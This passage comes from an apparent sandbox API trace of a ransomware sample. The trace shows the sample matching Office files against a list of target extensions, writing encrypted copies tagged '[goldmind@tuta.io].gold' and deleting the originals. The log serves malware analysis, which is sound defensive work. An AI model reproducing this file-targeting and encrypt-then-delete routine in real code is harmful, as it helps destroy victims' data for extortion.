Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.859] lstrlenW (lpString=".jpg") returned 4 [0100.859] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.859] lstrlenW (lpString=".doc") returned 4 [0100.859] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".docx") returned 5 [0100.859] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0100.859] lstrlenW (lpString=".pdf") returned 4 [0100.859] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".xls") returned 4 [0100.859] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".xlsx") returned 5 [0100.859] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0100.859] lstrlenW (lpString=".ppt") returned 4 [0100.859] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.859] lstrlenW (lpString=".zip") returned 4 [0100.859] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".rar") returned 4 [0100.859] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".bz2") returned 4 [0100.859] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.859] lstrlenW (lpString=".7z") returned 3 [0100.859] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.859] lstrlenW (lpString=".dbf") returned 4 [0100.859] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.860] lstrlenW (lpString=".1cd") returned 4 [0100.860] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.860] lstrlenW (lpString=".jpg") returned 4 [0100.860] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.860] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0100.860] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20 [0100.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0100.860] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=13696) returned 1 [0100.860] CloseHandle (hObject=0x3a8) returned 1 [0100.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 0x20 [0100.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0100.861] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.861] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0100.989] GetLastError () returned 0x0 [0100.989] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x3580, lpOverlapped=0x0) returned 1 [0100.990] WriteFile (in: hFile=0x364, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x3590, lpOverlapped=0x0) returned 1 [0100.991] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.991] WriteFile (in: hFile=0x364, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0100.991] SetEndOfFile (hFile=0x364) returned 1 [0100.991] CloseHandle (hObject=0x364) returned 1 [0100.991] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.991] SetEndOfFile (hFile=0x3a8) returned 1 [0100.993] CloseHandle (hObject=0x3a8) returned 1 [0100.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 1 [0101.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.056] lstrlenW (lpString=".doc") returned 4 [0101.056] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString=".docx") returned 5 [0101.056] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0101.056] lstrlenW (lpString=".pdf") returned 4 [0101.056] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString=".xls") returned 4 [0101.056] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString=".xlsx") returned 5 [0101.056] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0101.056] lstrlenW (lpString=".ppt") returned 4 [0101.056] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.056] lstrlenW (lpString=".zip") returned 4 [0101.056] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString=".rar") returned 4 [0101.056] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString=".bz2") returned 4 [0101.056] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString=".7z") returned 3 [0101.056] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.056] lstrlenW (lpString=".dbf") returned 4 [0101.056] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.056] lstrlenW (lpString=".1cd") returned 4 [0101.056] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.056] lstrlenW (lpString=".jpg") returned 4 [0101.056] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.056] lstrlenW (lpString=".doc") returned 4 [0101.056] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString=".docx") returned 5 [0101.056] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0101.056] lstrlenW (lpString=".pdf") returned 4 [0101.056] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString=".xls") returned 4 [0101.056] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0101.056] lstrlenW (lpString=".xlsx") returned 5 [0101.056] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0101.056] lstrlenW (lpString=".ppt") returned 4 [0101.057] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0101.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.057] lstrlenW (lpString=".zip") returned 4 [0101.057] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0101.057] lstrlenW (lpString=".rar") returned 4 [0101.057] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0101.057] lstrlenW (lpString=".bz2") returned 4 [0101.057] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0101.057] lstrlenW (lpString=".7z") returned 3 [0101.057] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.057] lstrlenW (lpString=".dbf") returned 4 [0101.057] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0101.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.057] lstrlenW (lpString=".1cd") returned 4 [0101.057] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0101.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0101.057] lstrlenW (lpString=".jpg") returned 4 [0101.057] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0101.057] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0101.057] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19 [0101.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.057] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=113) returned 1 [0101.057] CloseHandle (hObject=0x3b4) returned 1 [0101.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 0x20 [0101.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.058] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.058] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.059] GetLastError () returned 0x0 [0101.059] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x71, lpOverlapped=0x0) returned 1 [0101.060] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0101.060] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.060] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0101.060] SetEndOfFile (hFile=0x3bc) returned 1 [0101.060] CloseHandle (hObject=0x3bc) returned 1 [0101.061] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.061] SetEndOfFile (hFile=0x3b4) returned 1 [0101.062] CloseHandle (hObject=0x3b4) returned 1 [0101.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 1 [0101.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.063] lstrlenW (lpString=".doc") returned 4 [0101.063] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.063] lstrlenW (lpString=".docx") returned 5 [0101.063] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.063] lstrlenW (lpString=".pdf") returned 4 [0101.063] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.063] lstrlenW (lpString=".xls") returned 4 [0101.063] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.063] lstrlenW (lpString=".xlsx") returned 5 [0101.063] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.063] lstrlenW (lpString=".ppt") returned 4 [0101.063] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.063] lstrlenW (lpString=".zip") returned 4 [0101.063] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.063] lstrlenW (lpString=".rar") returned 4 [0101.063] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.063] lstrlenW (lpString=".bz2") returned 4 [0101.063] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.063] lstrlenW (lpString=".7z") returned 3 [0101.064] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.064] lstrlenW (lpString=".dbf") returned 4 [0101.064] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.064] lstrlenW (lpString=".1cd") returned 4 [0101.064] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.064] lstrlenW (lpString=".jpg") returned 4 [0101.064] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.064] lstrlenW (lpString=".doc") returned 4 [0101.064] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.064] lstrlenW (lpString=".docx") returned 5 [0101.064] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.064] lstrlenW (lpString=".pdf") returned 4 [0101.064] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.064] lstrlenW (lpString=".xls") returned 4 [0101.064] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.064] lstrlenW (lpString=".xlsx") returned 5 [0101.064] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.064] lstrlenW (lpString=".ppt") returned 4 [0101.064] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.064] lstrlenW (lpString=".zip") returned 4 [0101.064] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.064] lstrlenW (lpString=".rar") returned 4 [0101.064] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.064] lstrlenW (lpString=".bz2") returned 4 [0101.064] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.064] lstrlenW (lpString=".7z") returned 3 [0101.064] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.064] lstrlenW (lpString=".dbf") returned 4 [0101.064] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.064] lstrlenW (lpString=".1cd") returned 4 [0101.064] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0101.064] lstrlenW (lpString=".jpg") returned 4 [0101.064] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.065] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0101.065] lstrlenW (lpString="EXCEL.HXS") returned 9 [0101.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.066] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=7827686) returned 1 [0101.066] CloseHandle (hObject=0x3b4) returned 1 [0101.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs")) returned 0x20 [0101.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0101.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.067] lstrlenW (lpString=".doc") returned 4 [0101.067] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0101.067] lstrlenW (lpString=".docx") returned 5 [0101.067] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1 [0101.067] lstrlenW (lpString=".pdf") returned 4 [0101.067] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0101.067] lstrlenW (lpString=".xls") returned 4 [0101.067] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0101.067] lstrlenW (lpString=".xlsx") returned 5 [0101.067] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1 [0101.067] lstrlenW (lpString=".ppt") returned 4 [0101.067] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0101.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.067] lstrlenW (lpString=".zip") returned 4 [0101.067] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0101.067] lstrlenW (lpString=".rar") returned 4 [0101.067] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0101.067] lstrlenW (lpString=".bz2") returned 4 [0101.067] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0101.067] lstrlenW (lpString=".7z") returned 3 [0101.067] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0101.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.067] lstrlenW (lpString=".dbf") returned 4 [0101.067] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0101.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.067] lstrlenW (lpString=".1cd") returned 4 [0101.067] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0101.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.067] lstrlenW (lpString=".jpg") returned 4 [0101.067] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0101.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.067] lstrlenW (lpString=".doc") returned 4 [0101.067] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0101.067] lstrlenW (lpString=".docx") returned 5 [0101.067] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1 [0101.067] lstrlenW (lpString=".pdf") returned 4 [0101.068] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0101.068] lstrlenW (lpString=".xls") returned 4 [0101.068] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0101.068] lstrlenW (lpString=".xlsx") returned 5 [0101.068] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1 [0101.068] lstrlenW (lpString=".ppt") returned 4 [0101.068] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0101.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.068] lstrlenW (lpString=".zip") returned 4 [0101.068] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0101.068] lstrlenW (lpString=".rar") returned 4 [0101.068] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0101.068] lstrlenW (lpString=".bz2") returned 4 [0101.068] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0101.068] lstrlenW (lpString=".7z") returned 3 [0101.068] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0101.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.068] lstrlenW (lpString=".dbf") returned 4 [0101.068] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0101.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.068] lstrlenW (lpString=".1cd") returned 4 [0101.068] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0101.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0101.068] lstrlenW (lpString=".jpg") returned 4 [0101.068] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0101.068] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0101.068] lstrlenW (lpString="EXCEL_COL.HXC") returned 13 [0101.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.069] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=621) returned 1 [0101.069] CloseHandle (hObject=0x3b4) returned 1 [0101.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 0x20 [0101.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 